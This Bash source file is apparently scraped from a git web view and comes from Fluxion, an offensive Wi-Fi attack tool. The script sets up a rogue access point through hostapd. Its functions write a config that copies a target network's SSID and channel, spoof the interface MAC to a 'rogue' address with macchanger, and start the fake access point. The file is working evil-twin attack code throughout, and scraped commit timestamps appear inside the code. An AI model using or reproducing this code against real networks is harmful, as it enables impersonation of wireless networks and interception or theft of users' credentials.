fluxion/lib/ap/hostapd.sh

72 lines
1.4 KiB
Bash
Raw Normal View History

#!/bin/bash
VIGW=$WIAccessPoint
VIAP=$WIAccessPoint
#APServiceAuthenticationMethods=("hash")
#APServiceAuthenticationMethodsInfo=("(handshake, recommended)")
# HostAPD sets the virtual interface mode
# to master, which is supported by dhcpd.
VIAPAddress=$VIGWAddress
VIAPRouteDelay=5
2017-08-09 19:16:16 -06:00
APServiceConfPath="$FLUXIONWorkspacePath/APService.conf"
function ap_stop() {
killall hostapd &> $FLUXIONOutputDevice
local FLUXIONAPService=$(ps a | grep -e "FLUXION AP Service" | awk '{print $1'})
if [ "$FLUXIONAPService" ]; then
kill $FLUXIONAPService &> $FLUXIONOutputDevice
fi
}
function ap_reset() {
ap_stop
# Reset MAC address to original.
ifconfig $VIAP down
sleep 0.4
macchanger -p $VIAP &> $FLUXIONOutputDevice
sleep 0.4
ifconfig $VIAP up
sleep 0.4
}
function ap_route() {
echo "No custom routes for hostapd" > $FLUXIONOutputDevice
}
function ap_prep() {
ap_stop
# Prepare the hostapd config file.
echo "\
interface=$VIAP
driver=nl80211
ssid=$APTargetSSID
channel=$APTargetChannel\
2017-08-09 19:16:16 -06:00
" > "$APServiceConfPath"
# Spoof virtual interface MAC address.
ifconfig $VIAP down
sleep 0.4
macchanger --mac=$APRogueMAC $VIAP &> $FLUXIONOutputDevice
sleep 0.4
ifconfig $VIAP up
sleep 0.4
}
function ap_start() {
2017-08-09 19:16:16 -06:00
xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfPath" &
sleep $VIAPRouteDelay; ap_route
}
# FLUXSCRIPT END